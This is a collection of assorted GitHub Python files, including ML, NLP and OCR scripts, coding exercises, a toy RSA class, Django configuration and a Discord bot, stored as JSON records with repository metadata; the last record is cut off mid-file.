+{"seq_id":"11172359147","text":"import numpy as np\nimport pandas as pd\nimport nltk\nfrom nltk.corpus import stopwords\nfrom nltk.stem import SnowballStemmer\nimport re\nfrom string import punctuation\n\n\ndf1 = pd.read_csv(\"Data/Eclipse/EP_dup.csv\", sep=\";\")\ndf2 = pd.read_csv(\"Data/Eclipse/EP_nondup.csv\", sep=\";\")\ndf3 = pd.read_csv(\"Data/Mozilla/M_Duplicate BRs.csv\", sep=\";\")  \ndf4 = pd.read_csv(\"Data/Mozilla/M_NonDuplicate BRs.csv\", sep=\";\")\ndf5 = pd.read_csv(\"Data/ThunderBird/dup_TB.csv\", sep=\";\")\ndf6 = pd.read_csv(\"Data/ThunderBird/Nondup_TB.csv\", sep=\";\")\n\nframes=[df1,df2,df3,df4,df5,df6]\ndata=pd.concat(frames)\ndata = data.reset_index(inplace = False)\ndata['TitleDescription1'] = data['Title1'].str.cat(data['Description1'],sep=\" \")\ndata['TitleDescription2'] = data['Title2'].str.cat(data['Description2'],sep=\" \")\n\nstop_words = set(stopwords.words('english'))\n\n\n\ndef words(text, remove_stop_words=True, stem_words=False):\n    # Remove punctuation from questions\n    text = ''.join([c for c in text if c not in punctuation])\n    \n    # Lowering the words in questions\n    text = text.lower()\n    \n    # Remove stop words from questions\n    if remove_stop_words:\n        text = text.split()\n        text = [w for w in text if not w in stop_words]\n        text = \" \".join(text)\n    \n    # Return a list of words\n    return(text)\n    \n    \n    \n    \ndef process(bug_list, bugs):\n    for bug in bugs:\n        bug_list.append(words(bug))\nprocessed_bug1 = []\nprocessed_bug2 = []\nprocess(processed_bug1, data.TitleDescription1)\nprocess(processed_bug2, data.TitleDescription2)\n\n#Define tfidf vectorizer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\ntfidf = TfidfVectorizer(analyzer = 'word',\n                        stop_words = 'english',\n                        lowercase = True,\n                        max_features = 300,\n                        norm = 'l1')\n                        \n#Concatenating TitleDescription Columns                        \nwords = pd.concat([data.TitleDescription1, data.TitleDescription2], axis = 0)\n\n#Fitting and transforming bug reports with TFIDF Vectorizer\ntfidf.fit(words)\nduplicate_1 = tfidf.transform(data.TitleDescription1)\nduplicate_2 = tfidf.transform(data.TitleDescription2)\n\n#Assigning independent and dependent variables\nx = abs(duplicate_1 - duplicate_2)\ny = data['Label']\n\n#Splitting into train and test set\nfrom sklearn.model_selection import train_test_split\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=42)\n\n# build model\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\n\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Dropout, Activation, Conv1D, GlobalMaxPooling1D\n\n\nmodel = Sequential()\nmodel.add(Dense(64,input_shape=(300,)))\nmodel.add(Dropout(0.2))\nmodel.add(Activation('relu'))\nmodel.add(Dense(64))\nmodel.add(Dropout(0.2))\nmodel.add(Activation('relu'))\nmodel.add(Dense(1))\nmodel.add(Activation('sigmoid'))\nmodel.summary()\nmodel.compile(loss='binary_crossentropy',\n              optimizer='adam',\n              metrics=['acc'])\n              \nresults = model.fit(x_train.todense(),y_train,batch_size=64,epochs=5,verbose=1,validation_data=(x_test.todense(),y_test))\nprint(np.mean(results.history[\"val_acc\"]))\n\n\n","repo_name":"sam2396/Automatic-Duplicate-Bug-Report-Detection","sub_path":"Main Model/644-Phase2-Group2.py","file_name":"644-Phase2-Group2.py","file_ext":"py","file_size_in_byte":3265,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"11512762414","text":"from Crypto.Util.number import getPrime, inverse\n\nclass rsaModule:\n    def __init__(self):\n        self.p = getPrime(8)\n        self.q = getPrime(8)\n        self.n = self.p*self.q\n        self.euler = (self.p-1)*(self.q-1)\n        self.e =  65537\n        self.d = inverse(self.e,self.euler)\n    def constructMessage(self, message):\n        asciiMessage = []\n        for x in message:\n            if len(str(ord(x))) == 2:\n                asciiMessage.append(int(\"0\"+str(ord(x))))\n            else:\n                asciiMessage.append(int(ord(x)))\n#        print(asciiMessage)\n        return asciiMessage\n\n\n    def encrypt(self,m):\n        encrypted = []\n\n        for num in m:\n            encrypted.append(num**self.e%self.n)\n            #rudementary defense against timing attack\n\n#        print('Encryption Complete\\n')\n#        print('Encrypted Message: ',encrypted)\n#        print('\\nDecryption Key:', self.d)\n        return encrypted\n\n    def decrypt(self,encrypted):\n        decrypted = []\n        \n#        print(encrypted)\n        for num in encrypted:\n        #rudementary defense against timing attack\n\n            decrypted.append(num**self.d%self.n)\n#        print('\\ndec = ',decrypted)\n        return decrypted\n\n    def reconstructMessage(self,decrypted):\n        message = ''\n        try:\n            for char in decrypted:\n                if int(char) < 255:\n                    message = message+chr(int(char))\n                else:\n                    raise ValueError\n            return message\n        except:\n            return 'ERROR: Please Try Again'\n","repo_name":"lroe34/rsa-project","sub_path":"RSA.py","file_name":"RSA.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"42089204242","text":"from collections import deque\n\ndef bfs(x, y):\n    queue = deque()\n    temp = [] # 연합을 이룰 수 있는 국가 담는 배열\n    queue.append((x, y))\n    temp.append((x, y))\n\n    # queue에 원소가 없을 때까지\n    while queue:\n        x, y = queue.popleft()\n        # 현재 위치에서 상하좌우 살펴보며\n        for i in range(4):\n            nx = x + dx[i]\n            ny = y + dy[i]\n\n            # 범위 내이고 and 방문한 적이 없다면 and 새 위치와 현 위치의 인구차가 l이상 r이하라면\n            if 0 <= nx < n and 0 <= ny < n and visited[nx][ny] == 0:\n                if l <= abs(graph[nx][ny] - graph[x][y]) <= r:\n                    # 방문 처리하고 큐와 temp에 담기\n                    visited[nx][ny] = 1\n                    queue.append((nx, ny))\n                    temp.append((nx, ny))\n\n    return temp\n\n# 입력 조건\nn, l, r = map(int, input().split())\ngraph = [list(map(int, input().split())) for _ in range(n)]\n\ndx = [-1, 0, 1, 0]\ndy = [0, 1, 0, -1]\n\n# 출력 조건\nresult = 0\nwhile True:\n    # 각 나라 방문 여부 체크\n    visited = [[0] * n for _ in range(n)]\n    # while문 빠져나오기 위한 변수\n    flag = 0\n\n    # n * n 모든 나라 체크\n    for i in range(n):\n        for j in range(n):\n            # 아직 방문하지 않았다면\n            if visited[i][j] == 0:\n                # 방문 처리\n                visited[i][j] = 1\n                # 연합을 이룰 수 있는 국가 세기\n                country = bfs(i, j)\n                # 국경선을 열 수 있는 나라가 1개 이상이라면\n                if len(country) > 1:\n                    flag = 1\n                    # 각 나라의 인구수는 (연합의 인구수) / (연합을 이루고 있는 칸의 개수)\n                    numbers = sum([graph[x][y] for x, y in country]) // len(country)\n                    # 인구 이동\n                    for x, y in country:\n                        graph[x][y] = numbers\n\n    # 국경선을 공유하는 나라가 없다면 끝내기\n    if flag == 0:\n        break\n    result += 1\n\nprint(result)","repo_name":"subinmun1997/my_python-for-coding-test","sub_path":"BAEKJOON/코테재활/삼성 역테 재활/solution43.py","file_name":"solution43.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"12588931815","text":"import spacy\nfrom spacy import displacy\n\n# Load spaCy's German model\nnlp = spacy.load(\"de_core_news_lg\")\n\n# Load input text and output text files\nwith open(\"input.txt\", \"r\") as f:\n    input_text = f.read()\n\nwith open(\"output.txt\", \"r\") as f:\n    output_text = f.read()\n\n# Process input text with spaCy\ndoc = nlp(input_text)\n\n# Extract relevant information from input text\ncategories = []\nvalues = []\nfor ent in doc.ents:\n    categories.append(ent.label_)\n    values.append(ent.text)\n\n# Process output text with spaCy\ndoc = nlp(output_text)\n\n# Extract relevant information from output text\nentities = {}\nfor ent in doc.ents:\n    entities[ent.text] = ent.label_\n\n# Map categories to entities\nfor entity, label in entities.items():\n    if label in categories:\n        idx = categories.index(label)\n        entities[entity] = values[idx]\n\n# Print final mapping\nfor entity, label in entities.items():\n    print(f\"{entity}: {label}\")\n","repo_name":"heidarkariman/pythonrep","sub_path":"mapping_script.py","file_name":"mapping_script.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"3409995461","text":"import logging\nfrom common.decorators import receive_signal\nfrom common.signals import AsyncSignal\nfrom common.util import  Enum, notify_by_email\n\nclass BillingSignalType(Enum):\n    APPROVED                    = 1\n    FAILED                      = 2\n    CHARGED                     = 3\n\nbilling_approved_signal = AsyncSignal(BillingSignalType.APPROVED, providing_args=[\"obj\", \"callback_args\"])\nbilling_failed_signal   = AsyncSignal(BillingSignalType.FAILED, providing_args=[\"obj\"])\nbilling_charged_signal  = AsyncSignal(BillingSignalType.CHARGED, providing_args=[\"obj\"])\n\n@receive_signal(billing_failed_signal)\ndef on_billing_trx_failed(sender, signal_type, obj, **kwargs):\n    from billing.billing_backend import get_custom_message\n    trx = obj\n    sbj, msg = \"Billing Failed [%s]\" % sender, u\"\"\n    for att_name in [\"id\", \"provider_status\", \"comments\", \"order\", \"passenger\", \"debug\"]:\n        msg += u\"trx.%s: %s\\n\" % (att_name, getattr(trx, att_name))\n    msg += u\"custom msg: %s\" % get_custom_message(trx.provider_status, trx.comments)\n    logging.error(u\"%s\\n%s\" % (sbj, msg))\n    notify_by_email(sbj, msg=msg)\n\n\n@receive_signal(billing_approved_signal)\ndef on_billing_trx_approved(sender, signal_type, obj, callback_args, **kwargs):\n    from ordering.ordering_controller import billing_approved_book_order\n    trx = obj\n    if callback_args:\n        billing_approved_book_order(callback_args, trx.order)\n\n","repo_name":"WAYbetter/waybetter","sub_path":"billing/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"9456824936","text":"################################\n# TMP36 temperature sensor Tests on the RPi Pico\n# Author: Dharmendra Kumar Yadav\n################################\n#\nfrom machine import ADC\nfrom time import sleep\n\nadcpin = 26\ntmp36 = ADC(adcpin)\n\nwhile True:\n    adc_value = tmp36.read_u16()\n    volt = (3.3/65535)*adc_value\n    degC = (100*volt)-50\n    print(round(degC, 1))\n    sleep(5)","repo_name":"yadavdhiru2009/Raspberry-Pi-PICO","sub_path":"09.TM36_temperature/TMP36.py","file_name":"TMP36.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"39212104079","text":"# В зависимости от выбора пользователя, вычислить площадь круга, прямоугольника или треугольника.\n# Для вычисления площади каждой фигуры должна быть написана отдельная функция.\n\nimport math\n\ndef Krug(r):\n    return math.pi*(r**2)\ndef Pryam(a, b):\n    return a*b\ndef Treug(a, b, c):\n    p = (a + b + b) / 2\n    return math.sqrt (p*(p-a)*(p-b)*(p-c))\n\nfigura = input('Введи номер фигуры, где 1- круг, 2 - прямоугольник, 3 - треугольник: ')\n\nif figura == '1':\n    r = int(input('Длина радиуса: '))\n    s = Krug(r)\n    print('Площадь круга равна ', s)\nelif figura == '2':\n    a = int(input('Длина первой стороны: '))\n    b = int(input('Длина второй стороны: '))\n    s = Pryam(a, b)\n    print('Площадь прямоугольника равна ', s)\nelif figura == '3':\n    a = int(input('Длина первой стороны: '))\n    b = int(input('Длина второй стороны: '))\n    c = int(input('Длина третьей стороны: '))\n    s = Treug(a, b, c)\n    print('Площадь треугольника равна ', s)","repo_name":"Kabanskiy/TWP2","sub_path":"DZ/dz23_3_figury.py","file_name":"dz23_3_figury.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"33239297922","text":"#!/usr/bin/env python3\n\nloginfail = 0 #counter for fails\n# open file\n\nwith open('keystone.common.wsgi','r') as file:\n    lines = file.readlines()\n    for l in lines:\n        if '- - - - -] Authorization failed.' in l:\n            loginfail +=1\n\nprint('The number of failed login attempts is:',loginfail )\n","repo_name":"jaksafras/mycode","sub_path":"attemptlogin/keystone_counter.py","file_name":"keystone_counter.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"9042457402","text":"from itertools import combinations\nN=int(input())\nA=list(input().split())\nK=int(input())\nC=list(combinations(A,K))\ncount=0\nfor i in C:\n    if('a' in i):\n        count=count+1\nprint(count/len(C))\n","repo_name":"Pulkit3108/Coding","sub_path":"HackerRank Problems/Python/Iterable_and_Iterators.py","file_name":"Iterable_and_Iterators.py","file_ext":"py","file_size_in_byte":195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"34376710620","text":"#!/usr/bin/python3\n# -*- encoding: utf-8 -*-\n\n# https://leetcode-cn.com/problems/short-encoding-of-words/\n\n\nclass Solution:\n    def minimumLengthEncoding(self, words):\n        def sort_by_len(elem):\n            return len(elem)\n        words.sort(key=sort_by_len, reverse=True)\n        # print(words)\n        S = \"\"\n        for w in words:\n            if S.find( w+'#') >= 0:\n                continue\n            else:\n                S = S + w + '#'\n        return len(S)\n\n\nif __name__ == '__main__':\n    s = Solution()\n    print(s.minimumLengthEncoding([\"time\", \"me\", \"bell\"]))\n    print(s.minimumLengthEncoding([\"me\", \"time\"]))\n","repo_name":"AndrewZcc/PythonTrustedExam","sub_path":"sol_820.py","file_name":"sol_820.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"930490647","text":"#!/usr/bin/env python3\nimport sqlite3\n#connect to database file\ndbconnect = sqlite3.connect(\"main.db\");\n#If we want to access columns by name we need to set\n#row_factory to sqlite3.Row class\ndbconnect.row_factory = sqlite3.Row;\n#now we create a cursor to work with db\ncursor = dbconnect.cursor();\n#execute insert statement\ncursor.execute('''insert into temps values ('01-Jan', '12:01 PM', 'kitchen', 21.0)''');\ndbconnect.commit();\n#execute simple select statement\ncursor.execute('SELECT * FROM temps');\n#print data\nfor row in cursor:\n    print(row['tdate'],row['ttime'],row['zone'],row['temperature'] );\n#close the connection\n\ncursor.execute('DELETE FROM temps');\ndbconnect.commit();\n#Creating the sedond table (sensor)\ncursor.execute('create table if not exists sensors(sensorID integer, type text, zone text)');\ncursor.execute('delete from sensors');\ndbconnect.commit();\n\ntypeInit = [\"door\", \"temperature\", \"door\", \"motion\", \"temperature\"];\nzoneInit = [\"kitchen\", \"kitchen\", \"garage\", \"garage\", \"garage\"];\n\nfor i in range(5):\n    command = \"insert into sensors values (\" + str(i+1) + \", '\" + typeInit[i] + \"', '\" + zoneInit[i] + \"')\";\n    cursor.execute(command);\n    dbconnect.commit();\n\ncursor.execute('select * from sensors');\n\n#for row in cursor:\n#    print(row['sensorID'], row['type'], row['zone'])\n#print(\"\");\n\nprint(\"Searching for all sensors in the kitchen:\");\ncursor.execute(\"select * from sensors where zone = 'kitchen'\");\nfor row in cursor:\n    print(row['sensorID'], row['type'], row['zone'])\nprint(\"\");\n\n\nprint(\"Searching for all door sensors:\");\ncursor.execute(\"select * from sensors where type = 'door'\");\nfor row in cursor:\n    print(row['sensorID'], row['type'], row['zone'])\nprint(\"\");\n\n\ndbconnect.close();\n","repo_name":"jackharold/SYSC3010_jack_harold","sub_path":"Lab-3/lab3-database-demo.py","file_name":"lab3-database-demo.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"10243781320","text":"from pathlib import Path\nfrom shutil import copy\nimport os\n\nfrom ..eaf2txt import convert_eaf_to_txt\n\n\ndef test_convert_eaf_to_txt(tmp_path, request, capsys):\n    source_eaf = Path(request.fspath.dirpath('5959-0GS0.eaf'))\n    correct_txt = source_eaf.with_suffix('.txt')\n\n    eaf_copy = tmp_path / source_eaf.name\n    copy(source_eaf, eaf_copy)\n\n    converted = convert_eaf_to_txt(eaf_path=eaf_copy, order=False)\n    assert isinstance(converted, os.PathLike)\n    assert converted.exists()\n    assert correct_txt.read_text() == converted.read_text()\n\n    converted = convert_eaf_to_txt(eaf_path=eaf_copy, order=True)\n    correct_ordered = correct_txt.with_stem(correct_txt.stem + '_ordered')\n    assert isinstance(converted, os.PathLike)\n    assert converted.exists()\n    assert correct_ordered.read_text() == converted.read_text()\n\n    converted = convert_eaf_to_txt(eaf_path=eaf_copy, summary=True)\n    out, err = capsys.readouterr()\n    assert out == (\n        'Participant CHI had the highest total turn count: 38\\n'\n        'Participant FA1 had the highest total total speaking duration: 39367\\n'\n        'Participant CHI had the highest total non-speaking turn count: 38\\n')\n","repo_name":"kalenkovich/EAFtoTXT","sub_path":"eaf2txt/tests/test_eaf2txt.py","file_name":"test_eaf2txt.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"22040453439","text":"\"\"\"library URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls.i18n import i18n_patterns\nfrom django.contrib import admin\nfrom django.urls import include, path\nfrom rest_framework import routers\n\nfrom books.rest import BookViewSet, ChapterViewSet\nfrom library.views import language_redirect\nfrom snippets.serializers import UserViewSet\nfrom snippets.views import SnippetHighlight, SnippetViewSet\n\nfrom .settings import ADMIN_URL\n\n# Routers provide an easy way of automatically determining the URL conf.\nrouter = routers.DefaultRouter()\nrouter.register(\"books\", BookViewSet)\nrouter.register(\"chapters\", ChapterViewSet)\nrouter.register(\"snippets\", SnippetViewSet)\nrouter.register(\"users\", UserViewSet)\n\nlocalized_urlpatterns = i18n_patterns(\n    path(\"\", include(\"library.localizer.urls\")),\n    path(\"books/\", include(\"books.urls\")),\n    path(\"astronauts/\", include(\"astronauts.urls\")),\n    path(\"i18n/\", include(\"django.conf.urls.i18n\")),\n    path(\"api-auth/\", include(\"rest_framework.urls\", namespace=\"rest_framework\")),\n    prefix_default_language=True,\n)\n\n\nurlpatterns = [\n    path(\"rest/\", include(router.urls)),\n    path(\n        \"rest/snippets/<int:pk>/highlight/\",\n        SnippetHighlight.as_view(),\n        name=\"snippet-highlight\",\n    ),\n    path(ADMIN_URL, admin.site.urls),\n    *localized_urlpatterns,\n]\n","repo_name":"mkraenz/django-2021","sub_path":"library/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"3564809918","text":"\"\"\"\n自己的 crnn 模型与标注（或其他公司模型）进行比较。\n产出：\n1、crnn 模型准确率\n2、crnn 识别错误的字符，及相应的GT（待进行）\n\n\"\"\"\n\nimport time\nimport logging\nimport re\nfrom ocr import own_ocr\nfrom utils.data_utils import ImageReader, load_file_2d, save_file_2d\nfrom utils.compare_utils import FileComparator\nfrom nlp import correct_call\nimport numpy as np\nimport shutil\n\nlogging.basicConfig(\n    format='%(asctime)s : %(levelname)s : %(message)s',\n    level=logging.DEBUG,\n    handlers=[logging.StreamHandler()])\nlogging = logging.getLogger()\n\n\ndef recognize(label_file, output_file, url, limit=0):\n    image_list = load_file_2d(label_file)\n    if limit:\n        _b, _t = os.path.splitext(label_file)\n        label_file = _b + '_0' + _t  # file0:data/test_0.txt\n        image_list = [p for p in image_list if 3 < len(p[1]) < 13]\n        # np.random.shuffle(image_list)\n        # image_list = image_list[:limit]\n        save_file_2d(image_list, label_file)\n    image_list = [p[0] for p in image_list]\n    image_num = len(image_list)\n\n    image_reader = ImageReader(image_list, batch_size=32)\n    results = []\n    start = time.time()\n\n    while not image_reader.over:\n        images, next_index = image_reader.next()\n        if not images: break\n\n        words = own_ocr.crnn(images, url)\n        assert len(images) == len(words)\n        results += words\n        logging.info('开始从第【%s】张图片进行识别',next_index)\n\n    end = time.time()\n    time_per_image = round((end - start)/image_num, 4)\n    logging.info('识别【%d】张图片用时【%f】秒', image_num, end-start)\n    logging.info('平均每张图片用时【%f】秒',time_per_image)\n\n    results = [[p, w] for p, w in zip(image_list, results)]\n    save_file_2d(results, output_file)\n\n    return time_per_image, label_file, output_file\n\ndef correct(label_file, output_file, url):\n    \"\"\"\n    测试纠错结果\n    :param label_file: 纠错语句\n    :param output_file: 纠错后的结果\n    :param url: 纠错接口地址\n    :return: 每句话的纠错时间\n    \"\"\"\n    sent_list = load_file_2d(label_file)\n    image_list = [p[0] for p in sent_list]\n    sent_generator = (p[1] for p in sent_list if len(p) > 1)\n    # 因为有识别出来是空的，所以这里和原文件行数就不一样了，但是没关系，在比较的时候会自动匹配上，跳过空的这行\n\n    results = []\n    start = time.time()\n    batch = 64\n    count = 0\n\n    while True:\n        sents = []\n        for i in range(batch):\n            try:\n                sents.append(next(sent_generator))\n            except StopIteration:\n                break\n        if not sents:\n            logging.info('已完成所有文本的纠错')\n            break\n\n        logging.info('从第%d条文本开始纠错', count)\n        sents_corrected = correct_call.correct(sents,url)\n        results += sents_corrected\n        count += batch\n\n\n    end = time.time()\n    sent_num, char_num, num_per_sent = num_count(sent_list)\n\n    time_per_sent = round((end - start) / sent_num, 4)\n    logging.info('纠错【%d】条文本用时【%f】秒', sent_num, end - start)\n    logging.info('平均每条文本用时【%f】秒', time_per_sent)\n    logging.info('平均每条文本长度【%f】', num_per_sent)\n\n    results = [[p, w] for p, w in zip(image_list, results)]\n    save_file_2d(results, output_file)\n\n    return time_per_sent\n\n\n\ndef num_count(sentences):\n    \"\"\"\n    计算没被过滤掉的句子的数量及总字数\n    :param sentences:\n    :return:\n    \"\"\"\n    sent_num = 0\n    char_num = 0\n    for s in sentences:\n        s = s[1]\n        if not pass_correct_filter(s):\n            continue\n        sent_num += 1\n        char_num += len(s)\n\n    if sent_num == 0:\n        logging.info('共纠错了0个句子')\n        return None, None, None\n    char_per_sent = round(char_num/sent_num, 4)\n\n    return sent_num, char_num, char_per_sent\n\n\ndef pass_correct_filter(original):\n    \"\"\"\n    :param original: 待纠错的一句话\n    :return: True for need correction, False for not\n    \"\"\"\n    if re.findall(r'[a-zA-ZＡ-Ｚａ-ｚ]+', original):\n        return False\n    chinese_counter = 0\n    for c in original:\n        if '\\u4E00' < c < '\\u9FA5':\n            chinese_counter += 1\n        if chinese_counter >= 3:\n            return True\n\n    return False\n\n\n\ndef compare(file_a, file_b, save_to, *args):\n\n    fc = FileComparator(file_a, file_b)\n    st = time.time()\n    fc.compare()\n    fc.save_report(save_to, *args)\n    en = time.time()\n    same_ratio = fc.get_same_ratio()\n    logging.info('两文件相同行的比例（准确率）：【%f】', same_ratio)\n    logging.info('比较总用时【%f】秒', en-st)\n    logging.info('比较文件已保存：%s', save_to)\n\nif __name__ == '__main__':\n\n    import argparse\n    import os\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--mode\")\n    parser.add_argument(\"--url\")\n    parser.add_argument(\"--label\")\n    parser.add_argument(\"--report\")\n    args = parser.parse_args()\n\n    if not args.label or not os.path.exists(args.label):\n        print(\"文件[%s]不存在\" % args.label)\n        exit(-1)\n\n    url = args.url\n    file1 = args.label\n\n    # 后缀 1 代表label，2 代表识别结果，3代表纠错结果\n    b, t = os.path.splitext(file1)\n    file2 = b + '_2' + t   # file2:data/test_2.txt\n    file3 = b + '_3' + t   # file3:data/test_3.txt\n\n    # 后缀 1 代表label和识别结果的比较，2 代表纠错和识别结果的比较，3 代表label和纠错的比较\n    b,t = os.path.splitext(args.report)\n    report1 = b + '_1' + t\n    report2 = b + '_2' + t\n    report3 = b + '_3' + t\n\n    # time_info, file1, file2 = recognize(file1, file2, url+'/crnn',limit=1000)\n    # compare(file1, file2, report1, f'每张图片用时{time_info}秒')\n\n    compare('data/test.txt', 'data/crnn.txt', 'data/report_test.html')\n","repo_name":"tiantian91091317/OCR-result-analysis","sub_path":"utils/compare_results.py","file_name":"compare_results.py","file_ext":"py","file_size_in_byte":5909,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"}
+{"seq_id":"12952129906","text":"import disnake\r\nfrom disnake.ext import commands\r\nimport os\r\nimport sqlite3\r\nfrom decouple import config\r\n\r\nBOT_TOKEN = config('BOT_TOKEN')\r\n\r\nbot = commands.Bot(command_prefix='/', intents=disnake.Intents.all(), reload=True)\r\n\r\nconn = sqlite3.connect('bans.db')\r\nc = conn.cursor()\r\n\r\nc.execute('''CREATE TABLE IF NOT EXISTS bans\r\n             (user_id INTEGER PRIMARY KEY, username TEXT, reason TEXT)''')\r\n\r\nc.execute('''CREATE TABLE IF NOT EXISTS economy\r\n             (user_id INTEGER PRIMARY KEY, username TEXT, balance INTEGER, last_daily INTEGER)''')\r\n\r\nc.execute('''CREATE TABLE IF NOT EXISTS oilrigs\r\n             (oilrig_id INTEGER PRIMARY KEY, owner INTEGER, oilrig_lvl INTEGER, oilrig_oil INTEGER, oilrig_max INTEGER, oilrig_next_lvl_exp INTEGER, oilrig_exp INTEGER, condition INTEGER)''')\r\n\r\nc.execute('''CREATE TABLE IF NOT EXISTS levels\r\n             (user_id INTEGER PRIMARY KEY, xp INTEGER, level INTEGER)''')\r\n\r\n\r\n\r\n\r\n\r\n\r\nfor filename in os.listdir(f'./cogs/'):\r\n    if filename.endswith('.py'):\r\n        bot.load_extension(f'cogs.{filename[:-3]}')\r\n        print(f\"\\033[38;5;38m[Polina] \\033[38;5;67m⌗ COGS: \\033[38;5;105m{filename[:-3]}\\033[0;0m has been loaded\")\r\n    else:\r\n        if filename != '__pycache__':\r\n            for file in os.listdir(f'cogs.{filename}/'):\r\n                if file.endswith('.py'):\r\n                    bot.load_extension(f'cogs.{filename}.{file[:-3]}')\r\n                    print(\r\n                        f\"\\033[38;5;38m[Polina] \\033[38;5;67m⌗ COGS: \\033[38;5;105m{filename}.{file[:-3]}\\033[0;0m has been loaded\")    \r\n\r\n\r\n\r\n\r\n\r\nbot.event\r\nasync def on_disconnect():\r\n   conn.close()\r\n\r\n\r\n\r\n\r\n\r\nbot.run(BOT_TOKEN)\r\n","repo_name":"kamil12-dev/Polina_bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"2120694089","text":"# Required for django-endless-pagination plugin\n# http://django-endless-pagination.readthedocs.org\nfrom django.conf.global_settings import TEMPLATE_CONTEXT_PROCESSORS\n\n# Normally you should not import ANYTHING from Django directly\n# into your settings, but ImproperlyConfigured is an exception.\nfrom django.core.exceptions import ImproperlyConfigured\n\nimport json\nimport os\n\n\nBASE_DIR = os.path.abspath(os.path.dirname(os.path.dirname(os.path.dirname((__file__)))))\n\n# JSON-based secrets module\nwith open(os.path.join(BASE_DIR, \"secrets.json\")) as f:\n    secrets = json.loads(f.read())\n\ndef get_secret(setting, secrets=secrets):\n    \"\"\"Get the secret variable or return explicit exception.\"\"\"\n    try:\n        return secrets[setting]\n    except KeyError:\n        error_msg = \"Add {0} to your secrets file.\".format(setting)\n        raise ImproperlyConfigured(error_msg)\n\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = get_secret(\"SECRET_KEY\")\n\nMANDRILL_API_KEY = get_secret(\"MANDRILL_API_KEY\")\nEMAIL_BACKEND = \"djrill.mail.backends.djrill.DjrillBackend\"\nSERVER_EMAIL = \"eusay@btao.org\"  # TODO: use @eusay.eusa.ed.ac.uk address\n\nAUTH_USER_MODEL = 'users.User'\n\n# Required for django-endless-pagination plugin\n# http://django-endless-pagination.readthedocs.org\nTEMPLATE_CONTEXT_PROCESSORS += (\n    'django.core.context_processors.request',\n    'django.contrib.auth.context_processors.auth',\n    'django.contrib.messages.context_processors.messages',\n    'core.context_processors.tracking_code',\n)\n\nTEMPLATE_DIRS = tuple(os.path.join(BASE_DIR, \"core/templates\"))\n\nALLOWED_HOSTS = []\n\nINSTALLED_APPS = (\n    'bootstrap_admin',  # Added\n    'django.contrib.admin',\n    'django.contrib.auth',\n    'django.contrib.contenttypes',\n    'django.contrib.sessions',\n    'django.contrib.messages',\n    'django.contrib.staticfiles',\n    'users',\n    'core',\n    'comments',\n    'proposals',\n    'votes',\n    'moderation',\n    'tags',\n    'api_v1',\n    'search',\n    'core.settings',\n    'notifications',\n    'student_councils',\n\n    # Added\n    'endless_pagination',\n    'rest_framework',\n    'haystack',\n    'core.templatetags',\n    'djrill'\n)\n\nMIDDLEWARE_CLASSES = (\n    'django.contrib.sessions.middleware.SessionMiddleware',\n    'django.middleware.common.CommonMiddleware',\n    'django.middleware.csrf.CsrfViewMiddleware',\n    'django.contrib.auth.middleware.AuthenticationMiddleware',\n    'django.contrib.messages.middleware.MessageMiddleware',\n    'django.middleware.clickjacking.XFrameOptionsMiddleware',\n)\n\nROOT_URLCONF = 'core.urls'\n\nWSGI_APPLICATION = 'wsgi.application'\n\nREST_FRAMEWORK = {\n    'DEFAULT_PERMISSION_CLASSES': (\n        'rest_framework.permissions.AllowAny', # TODO: permissions for API access. for now, allow any\n    )\n}\n\n\n# Search\nHAYSTACK_CONNECTIONS = {\n    'default': {\n        'ENGINE': 'haystack.backends.whoosh_backend.WhooshEngine',\n        'PATH': 